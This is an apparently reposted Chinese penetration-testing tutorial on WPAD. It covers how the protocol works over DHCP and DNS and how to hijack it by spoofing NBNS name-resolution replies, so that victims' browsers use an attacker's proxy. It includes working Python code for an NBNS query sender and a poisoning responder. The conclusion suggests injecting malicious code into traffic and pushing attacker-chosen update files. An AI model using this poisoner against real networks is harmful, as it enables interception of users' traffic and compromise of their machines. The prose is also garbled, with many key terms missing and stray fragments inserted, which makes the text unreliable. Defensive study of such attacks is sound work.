限 时 特 惠: 本站每日持续稳定更新内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: muyang-0410

在 系统中,有一个服务名为 Web Proxy Auto- ,其描述信息为 “ 实现了客户端 HTTP 堆栈并向开发人员提供 Win32 API 和 COM 自动化组件以供发送 HTTP 请求和接收响应。此外,通过执行 Web 代理自动发现(WPAD)协议, 还提供对自动发现代理服务器配置的支持。”

PS:为了安全起见,建议禁用,因为大多数的情况下不会用到。

0x03 WPAD 实现方式

WPAD 实现的方式有两种,DHCP 和 DNS,具体内容如下。

使用 DHCP 服务器配置 WPAD

DHCP 是 Host 的缩写即 动态主机配置协议,它是一个用于局域网的网络协议,处于 OSI 的应用层,所使用的传输协议为 UDP。DHCP 的主要功能是动态分配,当然不仅仅是 IP 地址,也包括一些其他信息,如子网掩码等,也包括本文所讲的 WPADdpkt,这些额外的信息都是在 DHCP 协议中的 “DHCP ” 字段中设置的。

DHCP 的工作流程有 4 个步骤:

图 2:DHCP 工作流程上图即为客户端与 DHCP 服务器进行交互的过程,其中,前两个流程主要是通过客户端发送广播包,之后 DHCP 服务器进行相应与客户端进行单播通讯。后面的两个流程即为客户端从 DHCP 服务器获取 IP 地址的过程。当客户端已经成功获取到了 IP 地址后同时该地址在客户端重新登录到网络前并未被其他主机占用,那么将不会再执行前两个流程。关于 DHCP 协议的具体内容不是本文的重点内容,不再详述。

当使用 DHCP 服务器配置 WPAD 时, DHCP 协议将会有所改变,具体的改变可以在 RFC 2131 中看到,增加了 消息,此消息用于客户端请求本地配置参数,所以客户端在请求 WPAD 主机时就会发送 请求消息,之后 DHCP 服务器会应答 确认消息,此消息中的 DHCP 字段里就包含 DHCP 的 252 选项即 WPAD 代理服务器的 PAC 文件地址。

DHCP 服务器响应的 数据包对应的 DHCP 结构:

图 3: 消息结构关于 DHCP 的其他定义可以查看 DHCP 的 RFC 1531 文档

在目前的大多数内网中已经不再使用 DHCP 服务器来进行对客户端的 WPAD 的配置了,而是采用了较为简单的方式如 DNS 服务器。

利用 DNS 配置 WPAD

利用 DNS 配置 WPAD 的方式本质上还是利用了 系统的名称解析机制。

利用 DNS 配置 WPAD 的原理如下:

客户端主机向 DNS 服务器发起了 WPAD+X 的查询请求。如果客户端主机是处于域环境下时,发起的 WPAD+X 的查询请求为 “WPAD.当前域的域名”。DNS 服务器对 WPAD 主机的名称进行解析返回 WPAD 主机的 IP 地址,客户端主机通过 WPAD 主机的 IP 的 80 端口下载并解析 PAC 文件。

利用 DNS 进行 WPAD 的配置,网络管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。

PS:在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 系统的名称解析顺序,查询的名称均为 “WPAD”,如果 OS 版本为 Vista 之后的(包括 Vista)顺序为:DNS => LLMNR => NBNS,反之则为 DNS => NBNS。

0x04 利用 WPAD 进行内网渗透

前面的内容已经说明了 WPAD 的工作原理,实现方式和 WPAD 在 系统中的相关内容。接下来就是本文要重点阐述的内容,如何利用 WPAD 进行内网渗透。

上面已经说明,在实际渗透中,大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是内网本身没有对 WPAD 的配置进行设置的情况下,都会默认遵循 系统的名称解析顺序,因此,可以利用 系统的名称解析顺序的缺陷进行 WPAD 的“恶意”配置,从而进行内网的渗透。

关于 系统的名称解析顺序 及利用 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。

名称解析机制探究及缺陷利用(下文简称 文1)

利用 LLMNR 名称解析缺陷劫持内网指定主机会话(下文简称 文2)

利用 名称解析进行基于 WPAD 的中间人攻击

在 文2 中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路,并给出了相应的利用代码。所以本文将不再赘述“如何利用 名称解析缺陷进行基于 WPAD 的中间人攻击”。

协议名称解析过程

一张图看明白 名称解析过程,以受害者访问局域网中的 为例(受害者主机的 缓存中无 ):

图 4: 名称解析过程 协议分析

使用 可以快速抓取到 协议名称查询的数据包,如下图:

图 5: 名称查询数据包格式 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同,其中最明显的一点为 协议中的主机名称是加密的,通过查阅相关资料,如 dpkt,等,可以找到其加密和解密的源码:

PS:以下代码引用自 dpkt 库。

def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
 c = ord(c)
 l.append(chr((c >> 4) + 0x41))
 l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
 return nbname
l = []
for i in range(0, 32, 2):
 l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
 ((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('x00', 1)[0]

从代码中不难分析出加解密的过程,至于为何 pack 的时候使用 16 请参阅 文1 中对 名称的阐述。

协议的内容比较多,其中有不少与我们在内网渗透中所使用的一些命令有直接的关系,更多内容可以查阅 协议的 RFC 文档

实现 协议的质询与应答

尽管目前已有相当优秀的网络协议开源库实现了 的质询与应答,不过为了更好的理解 协议,我们还是动手自己来构造协议数据包。根据 抓取的数据包(图 5)可以很快的构造并实现 协议的名称查询数据包。代码如下:

#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
 NBNS Query ,
 by Her0in
"""
import socket, struct
class NBNS_Query:
 def __init__(self,name):
 self.name = name
 self.populate()
 def populate(self):
 self.HOST = '192.168.16.255'
 self.PORT = 137
 self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 self.QueryData = (
 "xa9xfb" # Transaction ID
 "x01x10" # Flags Query
 "x00x01" # Question:1
 "x00x00" # Answer RRS
 "x00x00" # Authority RRS
 "x00x00" # Additional RRS
 "x20" # length of Name:32
 "NAME" # Name 
 "x00" # NameNull
 "x00x20" # Query Type:NB
 "x00x01") # Class
 self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))
 # From http://code.google.com/p/dpkt/
 def encode_name(self,name):
 """Return the NetBIOS first-level encoded name."""
 l = []
 for c in struct.pack('16s', name):
 c = ord(c)
 l.append(chr((c >> 4) + 0x41))
 l.append(chr((c & 0xf) + 0x41))
 return ''.join(l)
 def Query(self):
 while 1:
 print "NBNS Querying... -> %s" % self.name
 self.nqs.sendto(self.data, (self.HOST, self.PORT))
 self.nqs.close()
if __name__ == "__main__":
 nbns = NBNS_Query("WPAD")
 nbns.Query()

通过 抓取 名称查询的应答数据包,同样可以快速实现名称查询的应答功能。代码如下:

#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
 NBNS Answer ,
 by Her0in
"""
import socket, struct,binascii
class NBNS_Answer:
 def __init__(self, addr):
 self.IPADDR = addr
 self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 self.init_socket()
 self.populate()
 def populate(self):
 self.AnswerData = (
 "TID" # Transaction ID
 "x85x00" # Flags Query
 "x00x00" # Question
 "x00x01" # Answer RRS
 "x00x00" # Authority RRS
 "x00x00" # Additional RRS
 "x20" # length of Name:32
 "NAME" # Name 
 "x00" # NameNull
 "x00x20" # Query Type:NB
 "x00x01" # Class
 "x00x00x00xa5" # TTL
 "x00x06" #
 "x00x00" # Null
 "IPADDR") # IP Address
 def init_socket(self):
 self.HOST = "0.0.0.0"
 self.PORT = 137
 self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
 def decode_name(self, nbname):
 """Return the NetBIOS first-level decoded nbname."""
 if len(nbname) != 32:
 return nbname
 l = []
 for i in range(0, 32, 2):
 l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
 ((ord(nbname[i+1]) - 0x41) & 0xf)))
 return ''.join(l).split('x00', 1)[0]
 def Answser(self):
 self.nas.bind((self.HOST, self.PORT))
 print "Listening..."
 while 1:
 data, addr = self.nas.recvfrom(1024)
 tid = data[0:2] 
 name = data[13:45]
 data = self.AnswerData.replace('TID', tid)
 data = data.replace('NAME', name)
 data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
 print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
 self.nas.sendto(data, addr)
 self.nas.close()
if __name__ == "__main__":
 nbns = NBNS_Answer("11.22.33.44")
 nbns.Answser()

利用 名称解析进行基于 WPAD 的中间人攻击思路解析

通过上面一系列针对 WPAD 原理和 协议的阐述,理解利用 名称解析进行基于 WPAD 的中间人攻击的思路就不难了,不过利用思路将不会再像 文2 那样详述。因为我认为dpkt,只要理解了攻击思路,如何利用就是一个“方法论”的问题了,具体情况具体分析,各位大牛完全可以自由发挥。

利用 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 系统的名称解析顺序和 协议的特点。

在文章第三小节已经说过,在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 系统的名称解析顺序,查询的名称均为 “WPAD”。那么,如此看来,先广播进行 “WPAD” 名称的注册,然后监听 137 端口,等待局域网其他已启用 WPAD 功能的主机启动 IE 浏览器连接网络即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器,这样就可以获得受害者的浏览器的上网记录。

利用上一节中的 Demo 程序以及 的 功能还有一台 HTTP 或者 SOCKS 代理服务器即可快速模拟出一个简单的攻击场景。如下图:

图 6: 利用 名称解析进行基于 WPAD 的中间人攻击如上图所示,攻击者开启 恶意应答程序,并监听 80 端口提供 PAC 配置文件(wpad.dat)的下载,同时开启代理服务器(这里使用的是 HTTP 代理服务器 => Burp Suite)。

受害者主机( XP) 打开 IE 浏览器(已启用了 WPAD 功能)开始上网,此时浏览器就会寻找当前局域网中的代理服务器,实际上是进行了 WPAD 的名称查询,可以从图中看到攻击者的恶意应答程序做了恶意应答,同时提供 PAC 配置文件下载的 HTTP 服务器打印出了日志信息,此时受害者的浏览器已经下载了 PAC 配置文件(该文件内容为代理服务器地址信息),之后,受害者的浏览器就会使用攻击者指定的代理服务器进行上网,这一点从 Burp Suite 中就可以看到。

OK,上述内容就是整个攻击的思路和流程,在实战中,完全可以将攻击过程程序化,自动化。

0x05 总结

利用 协议进行中间人攻击的方式其实还有很多,攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD 进行攻击时,实际的效果很有可能没有想象的那么好,不过一旦奏效,就可以拿到受害者主机权限。尤其是在无计可施的情况下,还是值得一试的,很多内网中,管理员都不会对这些攻击方式做防御措施,除了部分桌面安全产品,如防火墙可能会做严格的过滤拦截,大部分情况下,此类攻击方式还是很有效的,尤其是可以在做名称解析响应时,筛选受害者主机,对 HTTP 数据包进行更改插入恶意代码,进行针对性的定点打击。另外, 协议比起 LLMNR 有一个更佳有利于攻击的特点, 协议的名称解析可以对受害者访问的域名进行响应,当然,前提是 DNS 服务器没有做出成功的响应时,才会使用 协议进行查询。关于这一点以及 WPAD ,都可以结合 所使用的更新域名进行中间人攻击,下载并执行攻击者指定的补丁文件。

关于 协议的内容可以在相关的 RFC 文档中查阅,其中还有不少东西可以在内网渗透中利用到,如 字段的取值, 协议等等,更多的攻击思路还有待各位看官多多“引玉”。

限 时 特 惠: 本站每日持续稳定更新内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: muyang-0410